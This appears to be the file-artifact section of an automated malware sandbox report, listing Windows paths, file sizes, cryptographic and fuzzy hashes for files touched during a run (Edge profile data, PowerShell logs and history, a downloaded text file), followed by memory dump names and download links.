SHA256 21fd3d1f1eba07309ef44e7f91aac4386394b9920d5553bae4bac7ccceec3a9b
MD5 d7e605164476d9e1ec36566bb120f919
SHA1 b45b88d76bb9607da0dda3b3fb80181bb51394a8
SHA512 74f8ee1e3e37466a1ac966b617973026d22425680a824224938fa0d10810922e10f7894eb1c972e193db198ac59b656e02a8311070b6e9528af1fcd57b453d38
SSDEEP 192:gONU6DbYQmiUyZMzBa+jEOm/HoI3+2LNzNqAU6:gONU6QhzBa+YOMII3+2FNU6
TLSH
T1C212193669389C775EE27655F88736138EE44027DA8A6B91D5EC2F0C00EB65C234F816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 a55b710c9031b08da05a4f7358f7dec98fbe2f42b2d591f6e8706c31e129fbe1
MD5 3ca2c0bc856e507540e6b1c33e65c545
SHA1 c74371000fc204f0a6732c8a6f29d7ae88fe6665
SHA512 f2501083717ca10654ce9a316b0b5579c10c7f7c8042abffdcf1587af07ac495ca879eef602894426523ddca19f3ca7ec65db0fdb34d607da67350f5bcfcfb8c
SSDEEP 384:6ZcIUsNhEVGxYvEa+YOMII3+2INnTKwBODNZOC3WIn:4U1bcalOpI3lINnewBKZOaWIn
TLSH
T16B929E756C3C5C725DE6B549F84632078EF88063D6C92BA4E5EDAF0C00D655C130FC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1
Size 264KB
SHA256 21f77cd2a2985a5f20f2d66dafdaa4d6d1029992aa1b8abed75545946b73168a
MD5 95e5105828951205700adad3b54bc4ec
SHA1 211ed50a27f81f6abaeeb7b8eef920c1054b9d92
SHA512 dde90a4c54b7aaa9572d8b51e32f75a3778970486133990a2ee617cb5c994b46657ac5d67f96d2cccd7cab2a8ec66b8088441c39c651133f3dba2b57f874ee6f
SSDEEP 3:MsEllllkEthXllkl2zE/lz3l:/M/xT02zEl
TLSH
T18C44040C7FC1140FC50451344051C7541370D4510F5357C334511C735DC5F403D10004
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 ffff5fb7ddc00158542a719dcf236384f4cb3aca1505742a67a75eb7473e1c22
MD5 f52dba449bc5994e8aca1b9b2e09b397
SHA1 ca926be7014631bd7f133a5b2520aec3a3931a7b
SHA512 9f15f715b8ca878664fb6c2fd0c0f5d975dd549537bf7278e124acc62a5099fd86b12fe93be92af55d134aa572c8b8417e7b92781f3c3ed9001ea7cfe96cf1e8
TLSH
T111411A58BAEA1148B3B76F1A9BF7686E483F7D772E0AD45E40010E4F0623B41C961B37
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_euef01gr.qep.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_euef01gr.qep.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ConsoleHost_history.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Size 5KB
SHA256 3df6cc884db83f33c7501888e94a327a17c134a1ba4841bd2e9ca317563ccf1f
MD5 734e0fa0f3a3c647bcdddc35c56262e8
SHA1 d26e5e68c928f6ea2362534446b8f247c1dda9d7
SHA512 9724c0d53ddb086aba045a01fba0a9f08a54d49031e43322982ba754c74bed838f817af3744b7a4d7f4e5906c9ecc53110caa10381f450fb1f2ab6cc50d56b34
SSDEEP 96:g7bUKlxmPE2ReQR7leD1WUFU3vLfJB1q4eKB1S2YGsRJmh2ZJY1:E34E2ReQR7gDcUqTnZeKBcvGsRJN6
TLSH
T170B1E6453E969AF822C316A13D73D194962C023F22275513BAFDC6E86F8C958D3FDDA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MALAWARE!!!.txt

Path C:\Users\Admin\Downloads\MALAWARE!!!.txt
Size 11KB
SHA256 2f4f83a0f831992bbf2be2d474b612e110d4b60a435753916048fd32dc59cf85
MD5 fc6da0befc990c16d3b363eb68f6ed3a
SHA1 517665d64abeaad472f34b38f50a1dc42bf78c93
SHA512 2933a282e540d31fd279676f4bcca11aa849fe7e6bc11ae7ef6f055380438da2b8ce7190fad0adec913fa95174c4c543690912b95ff8bfb9c54e0e0368c38f78
SSDEEP 192:li4ET/eQR7gDcBWfSr4lcaRqRI8Mv9VcyiDP09eC+mfW372sFT20JYKtrDbF:OMDcMf7c26ae2u20xdbF
TLSH
T17632F501FE52D1E940F32AA5EE67D504EE2A113F123740257AECC2C86F39859D7BCDA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 920b0533da0c372d9d48d36e09d752c369aec8f67c334e98940909bfcb6c0e6c
MD5 e89c193840c8fb53fc3de104b1c4b092
SHA1 8b41b6a392780e48cc33e673cf4412080c42981e
SHA512 865667a22e741c738c62582f0f06ea4559bb63a1f0410065c6fb3da80667582697aba2e233e91068c02d9ab4fb5db282a681fe8234f4c77a5309b689a37ac3a2
TLSH
T1D7117627F39CCA21CC96153A409DAD1172B683DB81AEDF9F6FC0D215A07F584CB711A0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4528-586-0x000001CAC7410000-0x000001CAC762C000-memory.dmp

Download

memory/4528-605-0x000001CAC7DE0000-0x000001CAC7FA2000-memory.dmp

Download

memory/4528-606-0x000001CAC84E0000-0x000001CAC8A08000-memory.dmp

Download

memory/4528-615-0x000001CAC7410000-0x000001CAC762C000-memory.dmp

Download

memory/4528-493-0x000001CAC7B90000-0x000001CAC7C06000-memory.dmp

Download

memory/4528-492-0x000001CAC7AC0000-0x000001CAC7B04000-memory.dmp

Download

memory/4528-489-0x000001CAADCA0000-0x000001CAADCC2000-memory.dmp

Download